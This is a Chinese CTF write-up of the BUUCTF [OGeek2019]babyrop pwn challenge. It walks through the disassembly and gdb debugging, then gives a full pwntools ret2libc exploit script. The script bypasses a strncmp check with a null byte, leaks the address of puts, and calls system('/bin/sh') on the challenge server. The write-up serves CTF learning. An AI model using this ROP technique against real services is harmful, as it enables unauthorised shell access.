当前位置: 首页 > ds >正文

[BUUCTF-OGeek2019]babyrop详解(包含思考过程)

一、题目来源

BUUCTF-Pwn-[OGeek2019]babyrop

二、创建环境&信息搜集

为了保持与远程服务器运行环境一致,我做了以下三件事情:

  1. 创建了test目录(命令mkdir test
  2. 将题目给的可执行文件与官方指定的libc.so文件(BUUCTF-链接-资源)都放入test目录
  3. 在test目录下使用命令pwninit

做完上述步骤后,我的test目录下有文件:
在这里插入图片描述

大家如果有低版本的Ubuntu虚拟机可以忽略上面的步骤
如果大家和我一样用的高版本的Ubuntu,可以根据上述步骤创建与服务器端一样的运行环境来保证我们Poc的准确性(会涉及到pwninit库,对这个不熟悉的可以看附录)

下面开始信息搜集

通过file命令查看文件类型:

在这里插入图片描述
通过checksec命令查看文件采用的保护机制:

在这里插入图片描述

三、反汇编文件开始分析

将可执行文件丢入32位的IDA Pro中开始反汇编操作

首先看到main函数,下面是其汇编代码:

.text:08048825 main            proc near               ; DATA XREF: start+17↑o
.text:08048825
.text:08048825 buf             = dword ptr -14h
.text:08048825 var_D           = byte ptr -0Dh
.text:08048825 fd              = dword ptr -0Ch
.text:08048825 var_4           = dword ptr -4
.text:08048825
.text:08048825 ; __unwind {
.text:08048825                 lea     ecx, [esp+4]
.text:08048829                 and     esp, 0FFFFFFF0h
.text:0804882C                 push    dword ptr [ecx-4]
.text:0804882F                 push    ebp
.text:08048830                 mov     ebp, esp
.text:08048832                 push    ecx
.text:08048833                 sub     esp, 14h
.text:08048836                 call    sub_80486BB
.text:0804883B                 sub     esp, 8
.text:0804883E                 push    0               ; oflag
.text:08048840                 push    offset file     ; "/dev/urandom"
.text:08048845                 call    open
.text:0804884A                 add     esp, 10h
.text:0804884D                 mov     [ebp+fd], eax
.text:08048850                 cmp     [ebp+fd], 0
.text:08048854                 jle     short loc_804886A
.text:08048856                 sub     esp, 4
.text:08048859                 push    4               ; nbytes
.text:0804885B                 lea     eax, [ebp+buf]
.text:0804885E                 push    eax             ; buf
.text:0804885F                 push    [ebp+fd]        ; fd
.text:08048862                 call    read
.text:08048867                 add     esp, 10h
.text:0804886A
.text:0804886A loc_804886A:                            ; CODE XREF: main+2F↑j
.text:0804886A                 mov     eax, [ebp+buf]
.text:0804886D                 sub     esp, 0Ch
.text:08048870                 push    eax
.text:08048871                 call    sub_804871F
.text:08048876                 add     esp, 10h
.text:08048879                 mov     [ebp+var_D], al
.text:0804887C                 movsx   eax, [ebp+var_D]
.text:08048880                 sub     esp, 0Ch
.text:08048883                 push    eax
.text:08048884                 call    sub_80487D0
.text:08048889                 add     esp, 10h
.text:0804888C                 mov     eax, 0
.text:08048891                 mov     ecx, [ebp+var_4]
.text:08048894                 leave
.text:08048895                 lea     esp, [ecx-4]
.text:08048898                 retn
.text:08048898 ; } // starts at 8048825
.text:08048898 main            endp

简单来说,就是先通过open打开一个文件,然后获取该文件的标识符fd作为read的第一个参数,接着read会读取4字节的数据到[ebp+buf]的位置,read完成之后又会将[ebp+buf]中的信息放入eax中,之后压入栈中作为sub_804871F函数的一个参数

跟进sub_804871F函数查看其逻辑,下面是其汇编代码:

.text:0804871F sub_804871F     proc near               ; CODE XREF: main+4C↓p
.text:0804871F
.text:0804871F s               = byte ptr -4Ch
.text:0804871F buf             = byte ptr -2Ch
.text:0804871F var_25          = byte ptr -25h
.text:0804871F var_C           = dword ptr -0Ch
.text:0804871F arg_0           = dword ptr  8
.text:0804871F
.text:0804871F ; __unwind {
.text:0804871F                 push    ebp
.text:08048720                 mov     ebp, esp
.text:08048722                 sub     esp, 58h
.text:08048725                 sub     esp, 4
.text:08048728                 push    20h             ; n
.text:0804872A                 push    0               ; c
.text:0804872C                 lea     eax, [ebp+s]
.text:0804872F                 push    eax             ; s
.text:08048730                 call    memset
.text:08048735                 add     esp, 10h
.text:08048738                 sub     esp, 4
.text:0804873B                 push    20h             ; n
.text:0804873D                 push    0               ; c
.text:0804873F                 lea     eax, [ebp+buf]
.text:08048742                 push    eax             ; s
.text:08048743                 call    memset
.text:08048748                 add     esp, 10h
.text:0804874B                 sub     esp, 4
.text:0804874E                 push    [ebp+arg_0]
.text:08048751                 push    offset format   ; "%ld"
.text:08048756                 lea     eax, [ebp+s]
.text:08048759                 push    eax             ; s
.text:0804875A                 call    sprintf
.text:0804875F                 add     esp, 10h
.text:08048762                 sub     esp, 4
.text:08048765                 push    20h             ; nbytes
.text:08048767                 lea     eax, [ebp+buf]
.text:0804876A                 push    eax             ; buf
.text:0804876B                 push    0               ; fd
.text:0804876D                 call    read
.text:08048772                 add     esp, 10h
.text:08048775                 mov     [ebp+var_C], eax
.text:08048778                 mov     eax, [ebp+var_C]
.text:0804877B                 sub     eax, 1
.text:0804877E                 mov     [ebp+eax+buf], 0
.text:08048783                 sub     esp, 0Ch
.text:08048786                 lea     eax, [ebp+buf]
.text:08048789                 push    eax             ; s
.text:0804878A                 call    strlen
.text:0804878F                 add     esp, 10h
.text:08048792                 sub     esp, 4
.text:08048795                 push    eax             ; n
.text:08048796                 lea     eax, [ebp+s]
.text:08048799                 push    eax             ; s2
.text:0804879A                 lea     eax, [ebp+buf]
.text:0804879D                 push    eax             ; s1
.text:0804879E                 call    strncmp
.text:080487A3                 add     esp, 10h
.text:080487A6                 test    eax, eax
.text:080487A8                 jnz     short loc_80487C4
.text:080487AA                 sub     esp, 4
.text:080487AD                 push    8               ; n
.text:080487AF                 push    offset aCorrect ; "Correct\n"
.text:080487B4                 push    1               ; fd
.text:080487B6                 call    write
.text:080487BB                 add     esp, 10h
.text:080487BE                 movzx   eax, [ebp+var_25]
.text:080487C2                 jmp     short locret_80487CE
.text:080487C4 ; ---------------------------------------------------------------------------
.text:080487C4
.text:080487C4 loc_80487C4:                            ; CODE XREF: sub_804871F+89↑j
.text:080487C4                 sub     esp, 0Ch
.text:080487C7                 push    0               ; status
.text:080487C9                 call    exit
.text:080487CE ; ---------------------------------------------------------------------------
.text:080487CE
.text:080487CE locret_80487CE:                         ; CODE XREF: sub_804871F+A3↑j
.text:080487CE                 leave
.text:080487CF                 retn
.text:080487CF ; } // starts at 804871F
.text:080487CF sub_804871F     endp

我们刚刚传进来的参数就是这里的[ebp+arg_0],这个数又作为了sprintf的参数

这个参数会以格式控制符%ld的形式被写入[ebp+s]当中

接下来就是一个read函数,接受我们的输入写到位置[ebp+buf]

关键的就是下面这个比较strcmp

他会将[ebp+s]中的字符串与[ebp+buf]中的字符串进行比较,如果一致则执行到:

sub     esp, 4
push    8               ; n
push    offset aCorrect ; "Correct\n"
push    1               ; fd
call    write
add     esp, 10h
movzx   eax, [ebp+var_25]
jmp     short locret_80487CE

不一致则执行到:

loc_80487C4:
sub     esp, 0Ch
push    0               ; status
call    exit

Correct是题者的提示,而且我们也不希望此时程序就exit退出了(因为目前没有看到任何能pwn掉程序的特征)

因此,我们要做的就是让之前open-read读出来的4字节数据与我们后续输入的信息一致,就可以让程序“鼓励”我们(输出Correct,虽然我们目前不知道走这条路是为什么)接着程序继续

这个值我们通过静态分析是分析不出来的,我们需要通过动态分析来确定该值

这个我们放到后面讲,我们先将程序看完

接下来回到main函数,开始调用sub_80487D0函数了

其汇编代码:

text:080487D0 sub_80487D0     proc near               ; CODE XREF: main+5F↓p
.text:080487D0
.text:080487D0 var_EC          = byte ptr -0ECh
.text:080487D0 buf             = byte ptr -0E7h
.text:080487D0 arg_0           = dword ptr  8
.text:080487D0
.text:080487D0 ; __unwind {
.text:080487D0                 push    ebp
.text:080487D1                 mov     ebp, esp
.text:080487D3                 sub     esp, 0F8h
.text:080487D9                 mov     eax, [ebp+arg_0]
.text:080487DC                 mov     [ebp+var_EC], al
.text:080487E2                 cmp     [ebp+var_EC], 7Fh
.text:080487E9                 jz      short loc_8048809
.text:080487EB                 movsx   eax, [ebp+var_EC]
.text:080487F2                 sub     esp, 4
.text:080487F5                 push    eax             ; nbytes
.text:080487F6                 lea     eax, [ebp+buf]
.text:080487FC                 push    eax             ; buf
.text:080487FD                 push    0               ; fd
.text:080487FF                 call    read
.text:08048804                 add     esp, 10h
.text:08048807                 jmp     short loc_8048822
.text:08048809 ; ---------------------------------------------------------------------------
.text:08048809
.text:08048809 loc_8048809:                            ; CODE XREF: sub_80487D0+19↑j
.text:08048809                 sub     esp, 4
.text:0804880C                 push    0C8h            ; nbytes
.text:08048811                 lea     eax, [ebp+buf]
.text:08048817                 push    eax             ; buf
.text:08048818                 push    0               ; fd
.text:0804881A                 call    read
.text:0804881F                 add     esp, 10h
.text:08048822
.text:08048822 loc_8048822:                            ; CODE XREF: sub_80487D0+37↑j
.text:08048822                 nop
.text:08048823                 leave
.text:08048824                 retn
.text:08048824 ; } // starts at 80487D0
.text:08048824 sub_80487D0     endp

很明显,给了我们两个选择

在这里插入图片描述
当然,小孩子才做选择我们全都要
咳咳,我们必然是选择左边的,因为右边的n参数限制了我们栈溢出的步伐,左边的n参数是由[ebp+var_EC]决定的,有一定操作的可能

但是默认是走右边的道路,我们要让他实现走左边

条件很简单:

cmp     [ebp+var_EC], 7Fh
jz      short loc_8048809

让[ebp+var_EC]的值不等于7F即可,那么[ebp+var_EC]的值来自哪?

mov     eax, [ebp+arg_0]
mov     [ebp+var_EC], al

来自[ebp+arg_0]的最低8位(1字节), [ebp+arg_0]这个数又是哪来的呢?

不难看出他是作为sub_80487D0的参数传进来的,那么回到main函数去找

mov     [ebp+var_D], al
movsx   eax, [ebp+var_D]
sub     esp, 0Ch
push    eax
call    sub_80487D0

很明显,该值来自于al(eax的最低8位),eax用来存放上一个函数的返回值的

那么我们再回到上一个函数,看一下返回值是什么:

movzx   eax, [ebp+var_25]

返回值是[ebp+var_25]中的数据,这个数据在该函数中并没有被赋值(动态调试的过程也能看到该值默认为0)

综上:我们输入的长度被[ebp+var_25]的第8位控制

因此,我们现在要做的事情就是找到方法给[ebp+var_25]赋值

很容易想到,该函数中存在一个read函数,虽然该函数够不着“返回地址”,但是够着[ebp+var_25]还是绰绰有余的

思路确定了,接下来就可以开始动态调试+Poc构造了

四、动态调试

先要找到“钥匙”,即让其输出Correct

使用gdb进行动态调试

在这里插入图片描述
断点的位置在sprintf后一条指令,因为我们的目的是看到经过sprintf后[ebp+s]中的值是什么
在这里插入图片描述

这里有点奇怪,按道理说,sprintf会将结果写入[ebp+s]的位置,但是该位置查看后是一个奇怪的数字
在这里插入图片描述
相反,在eax中却正常存储了结果0xa也就是字符“\n”(我知道其是正确的结果是因为我直接去尝试输入回车,结果出现Correct)
这可能有点奇怪吧……或者是我没理解到位,但是不影响我们做题,继续!

既然分析出“钥匙”是换行符,那么我们可以先去验证一下
在这里插入图片描述
直接按回车键就出现“Correct”

但是为什么没让我们继续输入呢?

我上面其实就提到过,返回值默认为0,即让我们输入0字节的数据,那可不就是不让你输入嘛

大家感兴趣的可以去看看[ebp+var_25]的默认值(我测试出来是1)
这里不再演示了,因为和解题关系不大

接下来我们就可以构造Poc了

五、Poc构造

本题采用的是ret2libc的思路

#!/usr/bin/env python3from pwn import *exe = ELF("./pwn_patched")
libc = ELF("./libc-2.23.so")
ld = ELF("./ld-2.23.so")context.binary = exe
context(arch="i386",os="linux",log_level="debug",binary="./pwn_patched")def conn():if args.LOCAL:r = process([exe.path])else:r = remote("node5.buuoj.cn",27549)return rdef main():r = conn()# gdb_script = '''# b *0x08048772# c# '''# gdb.attach(r,gdbscript = gdb_script)payload = b'\x00\x00\x00\n' + b'A'*3 + p32(0xff) + b'\x00'r.send(payload)# pause()padding = 0xE7+4puts_got = exe.got["puts"]puts_plt = exe.plt["puts"]main_addr = 0x08048825payload = b'A'*padding + p32(puts_plt) + p32(main_addr) + p32(puts_got)r.send(payload)r.recvuntil(b'Correct\n')leak = u32(r.recvline()[:-1])print(hex(leak))payload = b'\x00\x00\x00\n' + b'A'*3 + p32(0xff) + b'\x00'r.send(payload)libc_base = leak - libc.symbols['puts'] system = libc_base + libc.symbols['system'] binsh = libc_base + next(libc.search(b'/bin/sh')) payload = b'A'*padding + p32(system) + p32(main_addr) + p32(binsh)r.send(payload)r.interactive()if __name__ == "__main__":main()

不是使用pwninit的朋友,只需要看main函数中的代码

知道“钥匙”后,后续就是简单的泄露->ret2libc

我觉得唯一要提醒的就是[ebp+var_25]的值只有第1字节有效,因此最大就是0xff,不要像我一开始一样搞了个0x100上去,结果别人一截取(al),就变成0x00了,等于没赋值(尴尬……)

上述Poc的运行结果:

在这里插入图片描述

成功拿下本地shell!

远程只需要修改Poc中对应的部分即可

六、附录

1、pwninit的下载

通用的下载做法:

# 安装 patchelf
sudo apt update
sudo apt install patchelf# 安装 pwninit (pwntools的配套工具)
pip install pwninit

但是,通过pip安装的pwninit的版本是系统默认的(通常版本会比较低,如果你的python版本过高会导致pwninit使用失败)

我们可以先卸载低版本的pwninit

pip uninstall pwninit

然后直接去github上下载最新版本,地址:

https://github.com/io12/pwninit/releases

在这里插入图片描述

我们下载下来的是一个ELF文件,我们通过命令:

chmod +x pwninit

给他赋予执行权限

为了后续执行方便,我们将其放入环境变量当中

sudo mv ./pwninit /usr/local/bin/
# 注意选择你自己的环境变量地址

验证:

pwninit --version

如果出现版本信息,即安装成功!

2、pwninit的使用

  1. 步骤一,创建pwn题目目录

    • mkdir test

    • cd test

  2. 步骤二(可选,但是推荐),在该目录中放入题目给的libc文件

  3. 步骤三,运行命令pwninit

    • 运行命令pwninit

    • pwninit会自动完成以下事情:

      • 分析pwn文件,找到它需要的libc版本,并下载到当前目录;若步骤二你已经在文件目录下放入了ibc文件则会使用你放入的文件

      • 使用patchelf创建一个pwn_patched文件(这个文件就是被修改过加载路径的新程序,后续都用这个文件)

      • 生成一个solve.py的模板,里面已经帮你写好了加载pwn_patched和对应libc的代码

solve.py模板文件的格式大致是这样的:

from pwn import *exe = ELF("./pwn_patched")context.binary = exedef conn():if args.LOCAL:r = process([exe.path])if args.DEBUG:gdb.attach(r)else:r = remote("addr", 1337)return rdef main():r = conn()# 像往常一样在这里构造你的代码即可r.interactive()if __name__ == "__main__":main()

如果是本地执行,则使用命令:

python solve.py LOCAL

如果是远程执行,则使用命令:

python solve.py
# 注意先修改solve.py中的域名与端口
http://www.xdnf.cn/news/20053.html

相关文章:

  • C++:类和对象(上)
  • 微软rStar2-Agent:新的GRPO-RoC算法让14B模型在复杂推理时超越了前沿大模型
  • 卷积操作原来分3种
  • 2025年工科生转型必考的十大高含金量证书!
  • 腾讯云建站多少钱?2025年最新价格曝光,0基础也能做出专业网站?实测真假
  • flutter专栏--深入剖析你的第一个flutter应用
  • 从一次Crash分析Chromium/360浏览器的悬空指针检测机制:raw_ref与BackupRefPtr揭秘
  • 留学第一天,语言不通怎么办?同声传译工具推荐来了
  • 常用假设检验方法及 Python 实现
  • 亚马逊云代理商:配置安全组规则步骤
  • kafka Partition(分区)详解
  • nestjs 阿里云服务端签名
  • 深度学习篇---SGD+Momentum优化器
  • Photoshop - Photoshop 触控手势
  • 电表连网不用跑现场!耐达讯自动化RS485转Profinet网关 远程配置+技术支持,真能做到!
  • ASP.NET 实战:用 SqlCommand 打造一个安全的用户注册功能
  • SIC8833芯片智能充气泵设计方案
  • 原创未发表!POD-PINN本征正交分解结合物理信息神经网络多变量回归预测模型,Matlab实现
  • 第二家公司虽然用PowerBI ,可能更适合用以前的QuickBI
  • pip completion工具作用(生成命令行自动补全脚本)(与pip-bash-completion区别)
  • 东土智建 | 让塔吊更聪明的“四大绝技”工地安全效率双升级
  • EasyMeeting-注册登录
  • PDF-XChange Editor:全功能PDF阅读和编辑软件
  • 《华为基本法》——企业文化的精髓,你学习了几条?
  • 技术实战:从零开发一个淘宝商品实时数据采集接口
  • 《嵌入式硬件(一):裸机概念与80c51单片机基础》
  • Docker 运行 PolarDB-for-PostgreSQL 的命令,并已包含数据持久化配置
  • Scrapy框架实战:大规模爬取华为应用市场应用详情数据
  • 实现 TypeScript 内置工具类型(源码解析与实现)
  • C语言中的运算符